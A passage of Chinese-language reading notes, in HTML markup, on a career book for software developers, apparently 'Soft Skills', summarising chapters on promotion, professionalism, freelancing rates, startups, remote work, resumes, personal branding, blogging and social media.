&lt;p&gt;即使我推荐走“专业化”道路，也不代表我认为你不应该同时具备广泛的技能。&lt;/p&gt;
&lt;h3&gt;第8章 公司与公司是不一样的&lt;/h3&gt;
&lt;p&gt;在小公司、中等公司和大公司工作的一些优点和缺点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;小公司：承担多种职责、灵活的角色转换、对工作的影响较大、回报潜力大；没法安静地坐下来写代码、工作在众目睽睽之下、稳定性差&lt;/li&gt;
&lt;li&gt;中公司：工作稳定、加班较少；变化很慢低下、没有机会使用前沿技术&lt;/li&gt;
&lt;li&gt;大公司：完备的流程和规范、培训机会多、大型有影响力的项目；充斥着官僚主义作风、可能只负责代码库的一小部分、很难获得关注&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;公司之间的区别：一种是软件开发人员只负责内部软件或他们正在生产的部分产品的公司，另一种是生产软件或者做软件开发就是核心业务的公司。&lt;/p&gt;
&lt;h3&gt;第9章 攀登晋升阶梯&lt;/h3&gt;
&lt;p&gt;在任何公司里能让你脱颖而出的最重要法宝就是承担更多的责任。&lt;/p&gt;
&lt;p&gt;在你的职业生涯中，你经常会面对更多金钱还是更多责任的选择。至少从长远来看，正确的选择几乎永远是更多责任。&lt;/p&gt;
&lt;p&gt;另一种间接承担责任的方式是成为团队中其他人的导师，自愿帮助新人加速成长，为任何有需要的人提供帮助。&lt;/p&gt;
&lt;p&gt;如何能让自己承担更多责任：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;有一个不受重视的项目，你能去负责它吗？&lt;/li&gt;
&lt;li&gt;你能帮助团队里的新人快速成长吗？&lt;/li&gt;
&lt;li&gt;你能负责文档制作流程，并保证及时更新这些文档吗？&lt;/li&gt;
&lt;li&gt;哪项工作是没有人愿意去做，你愿意承担起来，并将其简化或者自动化的？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如何令自己引人注目：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每天都记录自己的活动日志——把这个日志以周报的形式发送你的经理。&lt;/li&gt;
&lt;li&gt;提供演讲或培训——选择一个对你的团队有用的话题。&lt;/li&gt;
&lt;li&gt;发表意见——只要在会议上就这么做，或者只要你能得到的机会就这么做。&lt;/li&gt;
&lt;li&gt;保证“曝光度”——定期与老板会面，确保你经常被注意到。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;可以获得提升的非常好的办法就是不断增加自己的技能和知识。&lt;/p&gt;
&lt;p&gt;如果你把目标设定为更高级别的岗位甚至是行政岗位，你还需要学习领导力、管理和商科的相关知识。&lt;/p&gt;
&lt;p&gt;千万不要忘记分享自己学到的东西。&lt;/p&gt;
&lt;p&gt;你要成为那个永远能为各种问题找到解决方案的人，要成为勇于执行这些解决方案以获得成果的人。&lt;/p&gt;
&lt;p&gt;如果没有任何晋升的机会：离职。有时候只要意识到自己的工作毫无前途，就需要寻找更好的机会。但首先确保还有另一份工作在等着你。&lt;/p&gt;
&lt;p&gt;尽管不能完全避开政治，但至少应该知道会发生什么，哪种人需要避开，哪种人永远不要有交集。&lt;/p&gt;
&lt;h3&gt;第10章 成为专业人士&lt;/h3&gt;
&lt;p&gt;成为专业人士的全部在于：引人注目，恪尽职守，以及不屈服于挫折。&lt;/p&gt;
&lt;p&gt;一些专业人士和外行的差异&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;专业人士：遵守自己的原则、专注于正确完成工作、不惧怕承认自己错了，不会文过饰非、持续稳定、勇于承担责任&lt;/li&gt;
&lt;li&gt;外行：让干什么就干什么、专注于完成工作、不懂装懂、无法预测，不可靠、回避责任&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;软件开发人员所要面对的最大的道德挑战就是：以他们了解的决策前行是正确的，也符合客户的最大利益，但是这样的决定可能会危及自身福祉或职业稳定。&lt;/p&gt;
&lt;p&gt;如果我承担不起说“不”的代价又该如何：请尽快脱身。存一些钱，这样你就不必担心失去工作。你甚至可以考虑找一份新工作，一份不会要求你做很多道德上的抉择的工作，或者一份你的意见更有价值的工作。&lt;/p&gt;
&lt;p&gt;作为一位专业人士，你必须不断改善和提高自己的工作品质。你或许不能一直达到自己期望的工作品质，但随着时间的推移，持之以恒地坚持下去，你终究会达到自己设定的标准。&lt;/p&gt;
&lt;p&gt;如果你在某个领域降低了自己的标准，那么你最终会不经意间在其他领域也降低标准。一旦你越过了底线，选择妥协，就很难再回头。&lt;/p&gt;
&lt;h3&gt;第11章 赢得自由——如何辞职&lt;/h3&gt;
&lt;p&gt;如果我真的想跳槽，唯一可能的方法就是，弄明白如何开展我的新业务（维持现有的工作岗位，把这个当作副业），并让它足够成功，这样即便薪水大幅减少，我依然能完成转型。&lt;/p&gt;
&lt;p&gt;在考虑辞掉工作之前，你需要有一个切实可行的计划。我强烈推荐先在业余时间启动你想创建的业务，等能从这项业务中产生足以维持生计的收入时，你再转为全职。&lt;/p&gt;
&lt;p&gt;我现在已经离职，没有什么积蓄，怎么办？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在这种情况下，我的建议是：努力工作，养成高效的好习惯，给自己最好的成功机会。你还要尽可能削减开支，这可能意味着你连有线电视都没得看了。你要尽可能地开源节流。&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;同时也要现实一些。仔细想想自己还能维持多久，自己能做些什么来维持更久。你要制订一个计划：什么时候你就得认怂，重新做回雇员。你以后总可以东山再起，只要你没有因为巨额信用卡债务，只要你没有把房屋抵押掉，只要你没有从朋友和家人那里到处借钱以影响到自己的未来。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;同时，你还应该知道自己并非个例。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在为别人工作时，我们平均每天只有一半时间在努力工作。&lt;/p&gt;
&lt;p&gt;以前上班时，有可能一天真正勤奋、富有成效的工作时间只有2小时。&lt;/p&gt;
&lt;p&gt;你为自己工作时会比为别人工作时更努力，尽管投入的时间是一样的——你需要为此做好充分准备，你还得适应这种工作负担。&lt;/p&gt;
&lt;p&gt;在为自己工作时，你不能计划每个工作日就只有8小时工作时间。&lt;/p&gt;
&lt;p&gt;辞掉工作之前，很重要的一点是你对自己实际承担的工作量有一个符合实际的预期，并训练自己提前处理更高强度的工作负荷。&lt;/p&gt;
&lt;p&gt;在你开始做兼职项目（最终会成为你的全职工作）之前，你要仔细查看当年入职时你同意了哪些条款。如果劳动合同中规定任何工作成果都属于公司，那你需要与法律人士协商，看看如何妥善解决这种情况。&lt;/p&gt;
&lt;h3&gt;第12章 成为自由职业者：开启自己的一片天地&lt;/h3&gt;
&lt;p&gt;自由职业者不只为某一个客户工作，而是以固定价格或时薪的方式将自己“出租”给多个客户。&lt;/p&gt;
&lt;p&gt;自由职业者的一大担忧是接不到工作，于是也就没有报酬。如果没有足够的工作填满自己的时间，或者在完成一个客户的工作之后你不得不积极寻求更多的客户，你的压力会很大。最好的情形是工作任务已经提前安排妥当，或者处于工作太多不得不推掉一些的状态。&lt;/p&gt;
&lt;p&gt;你需要有长期客户，以此来确保未来的业务量，同时你也需要有稳定的新客户上门。&lt;/p&gt;
&lt;p&gt;获得客户的最佳方式是通过你已经认识的人。熟悉你的人更容易信任你，特别是在启动阶段。还没有辞职的时候，你就要在自己的社交网络上发布消息，让你的朋友和熟人知道你将要成为自由职业者，正在寻找业务。务必让他们明确知晓你到底能为他们做什么，你能解决怎样的问题。&lt;/p&gt;
&lt;p&gt;列出所有你认识的并且可能会对你的业务感兴趣的人员名单，给他们发私人邮件，让他们明确知晓你能为他们做什么，以及他们为什么要雇用你做这项工作。你的潜在客户越多，找到业务的可能性越大。找到业务基本上就是一个数字游戏。不要害怕经常发邮件让别人随时了解你的服务。随着时间的推移，这种勤奋总归会有回报的。&lt;/p&gt;
&lt;p&gt;“吸引式营销”基本上就是让潜在的客户主动送上门，而不是你去找他们。你要做的事情就是免费提供有价值的东西。&lt;/p&gt;
&lt;p&gt;电子邮件营销是推广产品或服务的最佳和最有效的方法。&lt;/p&gt;
&lt;p&gt;“吸引式营销”唯一的问题是起效时间略长。你必须有足够丰富的内容来吸引足够多的潜在客户来充实自己的工作渠道。&lt;/p&gt;
&lt;p&gt;大多数自由职业者都大大低估了他们能够向客户收费的金额以及他们需要向客户收费的金额。&lt;/p&gt;
&lt;p&gt;作为一个自由职业者，要想维持以前的生活水准，你不能收取同样的费用。&lt;/p&gt;
&lt;p&gt;成为了自由职业者之后，你的时薪水平应该是作为全职雇员时的两倍。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;全职雇员的薪酬：每小时50美元-无；实际收入=每小时50美元&lt;/li&gt;
&lt;li&gt;自由职业者的薪酬：每小时100美元-自主就业税-办公设备-会计或者记账员-非计费时间；实际收入=每小时50美元&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果你的营销策略是基于自己的服务可以为客户节省大笔开支或者提高他们的业务，你就可以根据自己的服务为客户带来的价值来定价。&lt;/p&gt;
&lt;p&gt;如果没有任何潜在客户跟你讲“不行”或者“你的收费太贵了”，马上提高费率！不断给你的收费加码，直到你听到“不行”为止。客户愿意为你的服务付的价格可能会让你大吃一惊。&lt;/p&gt;
&lt;h3&gt;第13章 创建你的第一个产品&lt;/h3&gt;
&lt;p&gt;作为一名软件开发人员，你拥有成为一名企业家得天独厚的优势，不仅能提出概念或新想法，还能自己把它创造出来。&lt;/p&gt;
&lt;p&gt;许多软件开发人员一开始就深陷创业者最常犯的错误之中——在为产品找到客户之前就构建好产品。&lt;/p&gt;
&lt;p&gt;如果你想开发出一款产品，第一步应该是筛选出一组特定的受众，他们也是你的解决方案的目标用户。针对这些人你要解决的问题是什么，你可能已经有了总体概念。不过在很多情况下，你要多做一些调研，找出要么没被解决的问题，要么没有被很好解决的问题。&lt;/p&gt;
&lt;p&gt;去目标客户常去的地方，与用户参与的社区交流，了解一下普遍存在哪些问题。你能从中看到的痛点有哪些。&lt;/p&gt;
&lt;p&gt;你应该通过测试市场来验证你的产品，看看你的潜在客户是否真的愿意为它买单。&lt;/p&gt;
&lt;p&gt;创建一个简单的销售网页，讲述你将要创建的产品以及它将解决什么问题，讲述你的产品会包含哪些内容以及产品上市的确切时间，给个折扣价让感兴趣的人可以提前预订产品，保证产品一发布他们就能拿到。你还要提供退款保证，让潜在客户知道如果你的产品不能如期交付或者不能令他们满意，他们可以得到退款。&lt;/p&gt;
&lt;p&gt;可以决定是否要修改产品或者作品，因为你不是在解决正确的问题，或者你可以直接退款给那几位预订者，向他们道歉，告诉他们感兴趣的人不多。&lt;/p&gt;
&lt;p&gt;你必须明白并意识到，自己的首次创业可能会失败，很可能第二次、第三次也是如此。直到经过足够多的失败，你才可能真正成功。&lt;/p&gt;
&lt;h3&gt;第14章 你打算开始创业吗&lt;/h3&gt;
&lt;p&gt;不同的创业型公司：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第一种创业公司在成立伊始就试图以获得外部投资者的投资来刺激公司快速成长。&lt;/li&gt;
&lt;li&gt;另一类创业就是自力更生创业。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;自力更生创业完全由其创始人提供资金支持。如果你创立了自力更生型公司，你不需要从投资人那里募集资金，也不在乎公司能否立刻做大。这类公司通常规模比引入投资人的创业公司小，但是失败的可能性也更低，因为他们通常开销更小，同时由于没有放弃公司的多数股权，创始人在业务上也更有控制权。&lt;/p&gt;
&lt;p&gt;典型的退出策略就是说，当公司成长到一定规模的时候希望公司被人收购，这样，创始人和投资者都可以获得丰厚的回报，公司未来发展所要面临的风险可以在很大程度上得到规避。&lt;/p&gt;
&lt;p&gt;通常，当你着手创建一家创业公司的时候，你对自己要创建怎样的公司已经有了想法。通常，这家公司要有些独一无二的知识产权，使得它的那些规模更大的竞争对手难以进入并简单地复制你正在做的。很好的创业候选是能够申请专利或受保护的新技术和新方法，而糟糕的创业候选则包括餐厅或其他缺乏独创、很容易被复制的服务。&lt;/p&gt;
&lt;p&gt;要想在创业启动时获得额外的帮助，申请加入创业加速器计划是个好方法。加速器是帮助创业型企业启动项目的计划，通过向创业公司注入小额资金来换取公司的一些股份。&lt;/p&gt;
&lt;p&gt;对创业公司而言，第一个重要里程碑就是获得第一笔资金，可以说这是创业生死攸关的大事。&lt;/p&gt;
&lt;p&gt;股权是你创业的命脉。没有股权，你的辛勤工作就无法获得回报，你也无法回报投资者。&lt;/p&gt;
&lt;h3&gt;第15章 远程工作的生存策略&lt;/h3&gt;
&lt;p&gt;挑战：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;时间管理：
&lt;ul&gt;
&lt;li&gt;真正解决这个问题需要缜密的时间管理。你可以在你想工作的任何时间再去工作，但是你必须要设定每周的日程表并且坚持下去。日程表越有规律、越是规划得当越好。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;自我激励：
&lt;ul&gt;
&lt;li&gt;当你感到倦怠时，日程表和常规是非常重要的倚靠。&lt;/li&gt;
&lt;li&gt;当你不想工作的时候，有一个必须工作的固定时段可以帮你保持足够的激情去完成工作。&lt;/li&gt;
&lt;li&gt;你还要尽可能排除干扰和诱惑，让它们远离你的工作环境。&lt;/li&gt;
&lt;li&gt;实在没有动力的时候：坐下来，设定一个15分钟的计时器，开始工作。在这15分钟里，你必须工作。你不能让自己分心，必须专注于手头的任务。15分钟纯粹且专注的工作结束后，你可能会发现继续下去变得容易些了。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;孤独感：
&lt;ul&gt;
&lt;li&gt;大多数在家办公的软件开发人员并没有意识到，长期缺乏社交会使自己变得孤独。&lt;/li&gt;
&lt;li&gt;如果不能在一年左右的时间里找到社交生活，你一定会感到自己要疯掉了。&lt;/li&gt;
&lt;li&gt;走出去！确保你每周都能走出家门，让自己有机会去认识除配偶和孩子以外的其他人。试着加入本地的软件开发者小组，每周或者每月参加他们的聚会。换个场景，到咖啡馆去工作。&lt;/li&gt;
&lt;li&gt;参加会议和其他社交活动让我有机会面对有兴趣的参加者侃侃而谈极客话题。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;找不到远程工作的岗位：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你可以看看你当前的工作是否可以变成远程工作。&lt;/li&gt;
&lt;li&gt;你可以开始关注允许远程工作的公司，或者完全分布式工作的团队，开始与这些公司建立联系。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;第16章 假装自己能成功&lt;/h3&gt;
&lt;p&gt;心理暗示：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你仿佛已经具备了成功完成任务的技能和天分；&lt;/li&gt;
&lt;li&gt;你仿佛已经成为自己想成为的那类人；&lt;/li&gt;
&lt;li&gt;仿佛战斗已经结束，而你大获全胜，因为你深知如果自己坚持不懈，胜利就在眼前；&lt;/li&gt;
&lt;li&gt;你仿佛已经对即将踏上的未知道路驾轻就熟。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;你还记得第一次写代码或者第一次学某种编程语言吗？那时候你觉得它很难，不是吗？现在呢？&lt;/p&gt;
&lt;p&gt;不是建议你向未来的雇主展示自己不具备的技能，声称自己具备尚不具备的能力。相反，我建议你坦率、诚实地面对自己的能力或不足，同时保持“我以前已经克服过那些困难”的心态和姿态，因为你清楚地知道，唯一横亘在“现在的你”和“未来的你”之间的是时间。&lt;/p&gt;
&lt;h3&gt;第17章 单调乏味的简历——如何修改&lt;/h3&gt;
&lt;p&gt;靠谱的简历代笔者：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;熟悉技术行业&lt;/li&gt;
&lt;li&gt;不能雇一个不知道该如何充分推销你的开发技能的专业简历写手&lt;/li&gt;
&lt;li&gt;可以给你展示简历样本&lt;/li&gt;
&lt;li&gt;想知道你能得到怎样的工作的最好的办法就是，看看简历写手已经写好的简历上的工作&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在请一位简历写手之前，你一定要确保准备好了他所需的所有信息。&lt;/p&gt;
&lt;p&gt;当你找到一位简历写手的时候，你主要是要请他做两件事情：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;为你的经历做一个文字优美引人入胜的广告，令你看起来光彩照人；&lt;/li&gt;
&lt;li&gt;让这份广告看上去装帧精美，格式赏心悦目。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对软件开发人员来说，简历不一定要花哨好看，但一份专业的简历非常重要。&lt;/p&gt;
&lt;p&gt;改善简历：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;把简历放到网上：确保雇主能够很容易访问你的简历。如果你申请Web开发的职位，这一点尤其重要；&lt;/li&gt;
&lt;li&gt;简历要有创意：简历样式不落俗套，别人一眼扫过去就会被深深吸引&lt;/li&gt;
&lt;li&gt;使用“行动-结果”的描述：你的简历应该展现你都做了哪些工作及相应的结果。这样你的潜在雇主既能了解你会干什么，还能了解你能取得的成果，以及雇用你会给他们带来的收益&lt;/li&gt;
&lt;li&gt;校对：即使是聘请专业的简历写手，你也要通篇校对。简历里有错别字或拼写错误会让人觉得你粗心大意&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;第18章 请勿陷入对技术的狂热之中&lt;/h3&gt;
&lt;p&gt;在很多情况下，解决问题并不只有一个好的或是最好的方法。&lt;/p&gt;
&lt;p&gt;没有理由去强烈坚持自己选择的技术就是最好的，而轻视甚至无视其他技术。如果固执己见，最终受损失的是你自己。&lt;/p&gt;
&lt;h2&gt;第二篇：自我营销&lt;/h2&gt;
&lt;h3&gt;第19章 针对“码农”的营销基础课&lt;/h3&gt;
&lt;p&gt;营销的核心在于将一些人所需要的所期待的产品或者服务与产品或服务本身连接起来。&lt;/p&gt;
&lt;p&gt;自我营销的正确方式就是为他人提供价值。&lt;/p&gt;
&lt;p&gt;当你试图说服他人接受你的想法时，本质上，你就是在把自己的想法推销给他们。&lt;/p&gt;
&lt;p&gt;自我营销无非就是学习如何控制好自己要传达的信息，塑造好自己的形象，扩展信息送达的人群。&lt;/p&gt;
&lt;p&gt;当你营销自己的时候，你就是在积极地管理自己的职业生涯，有目的地选择好如何塑造自己，以及将塑造好的自己主动推送给那些对你感兴趣的人。这些人或者想听到你的想法，或者想雇用你，或者想购买你提供的产品或服务。&lt;/p&gt;
&lt;p&gt;你也许是世界上最有天赋的软件开发人员，但是如果没有人知道你的存在，你也只不过是浮云一片。&lt;/p&gt;
&lt;p&gt;即便你不认为自己是专家，也并不妨碍你现在就开始自我营销。事实上，试图找出自我营销的方法，可以让你成为专家，专门从事某一特定领域的软件开发工作。&lt;/p&gt;
&lt;p&gt;自我营销要从打造能代表你自己的个人品牌做起。&lt;/p&gt;
&lt;p&gt;自我营销的方式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;博客：你自己的博客，以及你在别人的博客上发表的特邀文章&lt;/li&gt;
&lt;li&gt;播客：创建自己的播客频道，同时接受其他播客频道的访谈&lt;/li&gt;
&lt;li&gt;视频：在YouTube这样的视频网站上上传自己的分享内容和课程主题视频&lt;/li&gt;
&lt;li&gt;给杂志投稿：给软件开发相关的杂志写文章&lt;/li&gt;
&lt;li&gt;书籍：著书或者自出版&lt;/li&gt;
&lt;li&gt;代码营：大多数代码营都允许参加者自由发言&lt;/li&gt;
&lt;li&gt;技术会议：拓展社交网络的好方法，如果能在研讨会上发言尤佳&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我营销的基本机制是，要想让人们追随你、倾听你，你就要带给他们价值：你能为他们的问题提供答案，甚至是给他们带去欢乐。&lt;/p&gt;
&lt;p&gt;如果你在持续自我提升的同时并没有给他人带来价值，那么你终究不会走得太远，因为每个人都会离你而去。&lt;/p&gt;
&lt;h3&gt;第20章 打造引人注目的品牌&lt;/h3&gt;
&lt;p&gt;品牌并不只是商标。品牌是对产品或服务的一整套预期。商标仅仅是品牌的视觉符号而已。品牌的关键并不在于视觉元素，而是品牌带给你的感受，是你与品牌互动时的预期。品牌即承诺：承诺按照你预期的方式交付你所预期的价值。&lt;/p&gt;
&lt;p&gt;要打造一个品牌，你需要四个要素——品牌所要传递的信息、品牌的视觉符号、品牌的一致性和品牌的曝光率。&lt;/p&gt;
&lt;p&gt;信息就是你想传达的，以及品牌所承载的情感诉求。在你创立个人品牌时，你需要一条能代表品牌的核心信息。你的品牌是干什么的？你是干什么的？例如，我的个人品牌Simple
Programmer（简单程序员）是围绕着“化繁为简”这个信息做文章：我把各种复杂的概念分解后，转化为人人可以理解的简单概念。&lt;/p&gt;
&lt;p&gt;一套能够代表品牌的色彩和风格有助于提升品牌辨识度，加速品牌信息的传播。&lt;/p&gt;
&lt;p&gt;即使你用自己的名字作为品牌，你也可以为它创建个出众的标识。&lt;/p&gt;
&lt;p&gt;个人品牌的一致性越强，就越能被更多人关注，也更容易被记住。&lt;/p&gt;
&lt;p&gt;通过写博客、写文章、发表演讲、创建视频分享、做播客内容等一切手段，你需要竭尽所能传播你的信息，扩大你的知名度。你的品牌传播的频率越高、传播的范围越广，目标人群记住它的概率才会越高，你被人们记住的概率才会越大。&lt;/p&gt;
&lt;p&gt;你需要选择一个规模更小的目标市场，或者非常符合你的品牌的独特领域。&lt;/p&gt;
&lt;p&gt;选择某个细分市场，然后以它为核心建立你的品牌，越有针对性越好。如果能充分聚焦，你就可以直接向受众传达信息，也能更轻松地建立品牌的认知度。&lt;/p&gt;
&lt;p&gt;如果需要更换细分市场，也不要犹豫。&lt;/p&gt;
&lt;p&gt;创建品牌的步骤：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;明确要传达的品牌信息。&lt;/li&gt;
&lt;li&gt;挑选细分市场。&lt;/li&gt;
&lt;li&gt;创建品牌口号。&lt;/li&gt;
&lt;li&gt;创建电梯内销售概要。&lt;/li&gt;
&lt;li&gt;创建视觉符号（即标识）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;你也需要创建一个口号，言简意赅地描述自己的品牌。&lt;/p&gt;
&lt;p&gt;电梯内销售概要是一段能够快速描述你是谁、能做什么的宣传文字，乘坐电梯的工夫就可以浏览完毕。&lt;/p&gt;
&lt;p&gt;如果你在前期花了些时间创建了一个清晰、一致的品牌，并且这个品牌高度聚焦在某个细分领域、承载着经过深思熟虑的信息，你就会在竞争中遥遥领先。&lt;/p&gt;
&lt;h3&gt;第21章 创建大获成功的博客&lt;/h3&gt;
&lt;p&gt;作为一名软件开发人员，可以用来推销自己的最佳媒介之一就是博客。我坚信每一个在乎自己职业生涯的软件开发人员都应该投资创建一个博客。&lt;/p&gt;
&lt;p&gt;如果你是一名自由职业者，或者你有兴趣做兼职，你会发现，一个成功的博客可以给你带来很多客户，比你自己不得不外出找到的客户多得多。自己主动上门的客户，更愿意付你更高的薪酬，也更容易给你工作。&lt;/p&gt;
&lt;p&gt;如果你博客的流量足够大，你可以把它作为推销自己产品的平台。如果有稳定的博客访问用户，那你不妨围绕他们的兴趣开发产品，将流量直接转化为客户。&lt;/p&gt;
&lt;p&gt;不要忘记一个成功的博客为你带来的业界声望。&lt;/p&gt;
&lt;p&gt;提高你的沟通技巧。&lt;/p&gt;
&lt;p&gt;组织自己的思想，并将其转化为文字，是一项颇具难度却也极具价值的技能。定期写作能帮助你打磨此技能，有了很好的沟通能力会让你在生活的诸多领域受益。此外，如果你能约束自己定期更新博客，你也就在持续刷新自己的技能，保证自己处于自己所在专业领域的前沿。&lt;/p&gt;
&lt;p&gt;免费服务的一个典型问题就是，你无法更灵活地掌控自己博客的主题和布局。&lt;/p&gt;
&lt;p&gt;可以将自己的博客托管在虚拟专用服务器（VPS）上。&lt;/p&gt;
&lt;p&gt;创建博客的步骤：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;决定要使用哪种托管服务：免费的、付费的还是VPS。&lt;/li&gt;
&lt;li&gt;设置或安装博客软件。&lt;/li&gt;
&lt;li&gt;配置或者自定义所有主题。&lt;/li&gt;
&lt;li&gt;开始写吧！&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;打造成功博客的最大秘诀有且仅有一个——持之以恒。我和许多成功的博主都谈论过，他们都有一个共同点——写了很多博客。我认识的一些最成功的博主每天都要写博客，而且已经坚持了许多年。&lt;/p&gt;
&lt;p&gt;最重要的是，定好一个计划，然后坚持不懈。博客更新的频率将决定你的博客成功的速度。我强烈建议以每周至少一篇的速度更新博客。&lt;/p&gt;
&lt;p&gt;如果你每天写一篇博客且坚持好几年，想不成功都难。&lt;/p&gt;
&lt;p&gt;为什么要重视博客内容的品质？原因有两个。第一个也许也是最重要的一个原因是，博客内容的质量越高，越能吸引人持续浏览你的博客，或者通过RSS和电子邮件订阅阅读。在你给读者提供更多有价值的信息的同时，你也就成功积累了自己的目标客户。&lt;/p&gt;
&lt;p&gt;重视博客内容品质的另一个重要原因是为你的博客提供更有价值的链接。大多数搜索引擎判断网页品质时都是基于有多少其他页面链接到这个页面上。网站内容的品质越高，就越有可能被社交媒体分享，并被从其他网站链接到该网站上。&lt;/p&gt;
&lt;p&gt;你的博客不需要完美。在起步之初，你的博客很可能会很糟糕。但是，随着不断尝试贡献出优秀的内容，而不是将自己脑子里的东西随意丢到网页上，不考虑格式和结构还有一大堆拼写错误，你终会成功。&lt;/p&gt;
&lt;p&gt;可是我真的不知道该写些什么：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;最好方法是提前头脑风暴出各种不同的想法，随时更新可能的博客主题的清单，这样你总是保持一堆话题可供选择。&lt;/li&gt;
&lt;li&gt;同时，不要太担心你的文笔如何，不要太在意别人的想法。有时候你只是要写一篇博客让自己的博客有内容，并不知道这篇博客会是自己点击量最高的文章。我写过不少自己觉得很差的文章，却成为最热门的文章。&lt;/li&gt;
&lt;li&gt;要想弄清写什么，还有一个技巧，就是与别人就某个话题展开对话，甚至辩论。我经常发现自己写的最好的文章一般是先前曾与别人讨论过的。找一位朋友，就某个话题展开辩论，你会发现这个话题得写好几页。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;提升访问量：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;评论其他人的博客。找到撰写类似主题的博客的开发人员，在他们的博客写下有意义的评论，只要有机会就链接到自己的博客上。你的评论越有见地，人们越有兴趣查看你在自己博客上所说的。&lt;/li&gt;
&lt;li&gt;在社交网络上分享你的博客文章，在你的电子邮件签名的底部以及所有的在线个人主页中添加你的博客链接。&lt;/li&gt;
&lt;li&gt;如果你足够勇敢并且认为自己的文章足够优秀或者富有争议，可以把自己的文章提交（或者请别人提交）到Reddit（http://reddit.com
）或者Hacker News（http://news.ycombinator.com）这样的社交新闻网站。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;第22章 你的主要目标：为他人增加价值&lt;/h3&gt;
&lt;p&gt;当你营销自己的时候，如果你所做的一切都只是为了自己的利益而不给别人带来真正的价值，那么即使你所做的都正确无误，那也无济于事。&lt;/p&gt;
&lt;p&gt;要想给人们想要的东西，要先知道他们想要什么。&lt;/p&gt;
&lt;p&gt;想要弄明白他们的真实想法，你得全凭自己。&lt;/p&gt;
&lt;p&gt;当你免费给人们提供实际价值时，回报更大。&lt;/p&gt;
&lt;p&gt;免费内容比付费内容更容易被分享。&lt;/p&gt;
&lt;p&gt;通过提供免费内容，你让人们有机会无需投入资金就能了解你生产的内容多么有价值。&lt;/p&gt;
&lt;p&gt;通过为人们创造价值并且免费提供这种方式自我营销，你就赢得了为他人提供价值的声誉，也为自己的未来创造了机会。&lt;/p&gt;
&lt;p&gt;能解决他人的问题，真正能够帮到他人，你更容易获得成功。&lt;/p&gt;
&lt;p&gt;最富有创造力的人也是最乐于助人的人。&lt;/p&gt;
&lt;h3&gt;第23章 善于运用社交媒体&lt;/h3&gt;
&lt;p&gt;要想用好社交媒体，首先你要给自己积累足够多的粉丝，或者至少是让人们进入你的社交网络。&lt;/p&gt;
&lt;p&gt;对于大多数社交网络来说，最容易做到的就是关注他人，或者邀请他人加入你的网络。&lt;/p&gt;
&lt;p&gt;可以把自己社交网络的个人主页的链接放在你的在线介绍、博客文章的结尾或者邮件的签名档中，通过这些方式获得关注。&lt;/p&gt;
&lt;p&gt;要构建大型的社交网络肯定会需要一些时间，所以不要急于求成。&lt;/p&gt;
&lt;p&gt;你的社交媒体应用策略应该主要聚焦于构建稳定的受众群体，并逐步提升活跃度。&lt;/p&gt;
&lt;p&gt;如果你持续不断地在自己的社交媒体上给别人分享和提供有价值的内容，那你必定会赢得尊重和声誉。&lt;/p&gt;
&lt;p&gt;你应该在社交网络上发布什么内容来为他人带来价值呢？答案很简单：你认为有用或有趣的。&lt;/p&gt;
&lt;p&gt;每周我都会把自认为有用的信息整理为一份内容集锦，藉此吸引人们在社交网络上关注我。&lt;/p&gt;
&lt;p&gt;通过社交媒体分享的内容：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;博客文章：转帖一些博客文章，或者自己的博客&lt;/li&gt;
&lt;li&gt;新闻报道：转载一些有趣的文章，尽量与你的细分领域有关，或者与软件开发相关&lt;/li&gt;
&lt;li&gt;励志名言：名人名言，特别是鼓舞人心、非常流行的名言警句&lt;/li&gt;
&lt;li&gt;技巧、小窍门：任何你所了解的特殊技巧或者知识，别人会很欣赏&lt;/li&gt;
&lt;li&gt;幽默故事：发一点儿幽默故事挺不错的，但是一定要确保确实好笑，另外千万别冒犯别人&lt;/li&gt;
&lt;li&gt;吸引人的问题：这是一个很棒的吸引你的听众并和他们互动的方法&lt;/li&gt;
&lt;li&gt;自己的一些推广活动：别太多，并且跟其他内容混合在一起&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;正如你要把自己的产品/服务90%免费一样，你分享给自己的关注者的90%也应该是有价值的内容而非你的广告。&lt;/p&gt;
